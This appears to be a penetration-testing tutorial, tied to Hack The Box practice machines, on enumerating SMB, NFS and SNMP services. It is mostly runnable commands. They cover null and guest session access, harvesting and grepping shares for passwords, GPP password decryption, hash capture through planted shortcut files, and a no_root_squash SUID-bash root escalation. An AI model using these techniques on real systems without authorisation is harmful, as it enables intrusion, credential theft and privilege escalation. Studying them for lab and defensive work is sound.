SMB and NFS enumeration: shares, null sessions and files full of passwords

Enumerate SMB and NFS with NetExec, smbclient, smbmap and enum4linux-ng, with or without credentials: null sessions, files with passwords and no_root_squash.

· 4 min read

As soon as nmap shows 445 open, you have work to do: Windows shares (and Samba on Linux) are among the places where credentials turn up most. The catalogue has more than 30 machines with SMB/NFS enumeration along the way, from Active and Cascade to Remote and its NFS.

1. First: what is it, and who are you

nxc smb 10.10.10.10
# SMB 10.10.10.10 445 DC01 [*] Windows Server 2019 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)

One line gives you the machine name, the domain (if there is one, also read the Active Directory enumeration guide), the Windows version and whether it requires SMB signing (important for NTLM relay).

2. Without credentials: null session and guest

Try all three ways in without a password. Each server accepts a different one:

# Null session
nxc smb 10.10.10.10 -u '' -p '' --shares
smbclient -N -L //10.10.10.10

# Guest (any non-existent user usually gets in as guest)
nxc smb 10.10.10.10 -u 'guest' -p '' --shares
nxc smb 10.10.10.10 -u 'whatever' -p '' --shares

# smbmap shows the permissions on each share
smbmap -H 10.10.10.10 -u null

If you have read access, also try to pull users. With a user list you can already do AS-REP Roasting or password spraying:

nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute 4000
enum4linux-ng -A 10.10.10.10
rpcclient -U '' -N 10.10.10.10 -c 'enumdomusers'

3. Exploring the shares

smbclient //10.10.10.10/Data -N
smb: \> recurse ON
smb: \> prompt OFF
smb: \> ls
smb: \> mget *

# Or grab everything at once
nxc smb 10.10.10.10 -u 'guest' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
smbget -R smb://10.10.10.10/Data -U guest%

What to look for in the loot:

  • Scripts and configs: .ps1, .bat, .vbs, .config, .xml, .ini. Search inside for password, pwd, connectionString, cpassword.
  • Groups.xml in SYSVOL: holds a GPP password encrypted with a key Microsoft published. gpp-decrypt cracks it instantly (it is the way into Active; the GPP and GPO technique).
  • Backups: .vhd/.vhdx (virtual disks: mount them with guestmount), .zip, .bak, .kdbx (KeePass, crack it with the hash cracking guide).
  • Documents and spreadsheets with passwords, and file metadata (exiftool: the usernames of whoever created them).
grep -rniE 'pass(word)?|pwd|cpassword|secret' ./loot 2>/dev/null

Tip

A writable share is more than a place to drop things: if other users browse it, an .scf, .url or .lnk file pointing at your IP hands you their NetNTLMv2 hash (nxc smb ... -M slinky). The NTLM relay guide explains it.

4. With credentials

As soon as you have a user, repeat everything: you will see more shares and more information.

nxc smb 10.10.10.10 -u user -p 'Password1' --shares --users --groups --pass-pol
nxc smb 10.10.0.0/24 -u user -p 'Password1'        # where else does it work? (Pwn3d! = local admin)

If you see (Pwn3d!), you are an administrator on that machine: you can run commands (lateral movement).

5. NFS

Port 2049 (plus 111, rpcbind) means NFS: folders mounted over the network with no username or password, trusting the client's UID.

showmount -e 10.10.10.10
sudo mount -t nfs -o vers=3,nolock 10.10.10.10:/home /mnt/nfs
ls -lan /mnt/nfs

Two usual tricks:

  • Spoof the UID: if the files belong to UID 1001 and you cannot read them, create a user with that UID on your box (sudo useradd -u 1001 fake && sudo su fake) and read them.
  • no_root_squash: if /etc/exports (read it once inside) has that option, whatever you create as root on your box is root's on the server. Copy a SUID bash and run it from the machine:
# On your box, as root, on the mounted share
cp /bin/bash /mnt/nfs/rootbash && chmod +s /mnt/nfs/rootbash
# On the target
/path/to/share/rootbash -p

Note

Copy a bash from a system similar to the target (or the target's own): if the libc versions do not match, the binary will not start.

Bonus: SNMP

If nmap with -sU finds 161/udp, SNMP with the public community often tells you more than SMB: processes with their arguments (sometimes with passwords), users and installed software (SNMP enumeration).

snmpwalk -v2c -c public 10.10.10.10
snmpbulkwalk -v2c -c public 10.10.10.10 NET-SNMP-EXTEND-MIB::nsExtendObjects
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.10.10.10

Common errors

  • NT_STATUS_ACCESS_DENIED on a null session, yet nxc lists shares: each tool tries a different way. Try all three variants above before giving up.
  • protocol negotiation failed: the server only speaks SMBv1. smbclient -L //IP -N --option='client min protocol=NT1'.
  • mount.nfs: access denied: the share is only exported to certain IPs. Check showmount -e: they are listed next to it.

What next

With whatever you find, follow the recon checklist: try the credentials on every service (WinRM, MSSQL, SSH) and, if there is a domain, jump to the Active Directory checklist.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

SMB/NFS enumeration 34 machines

See all 34 machines →

SNMP enumeration 6 machines

Spotted a mistake or something missing? Tell us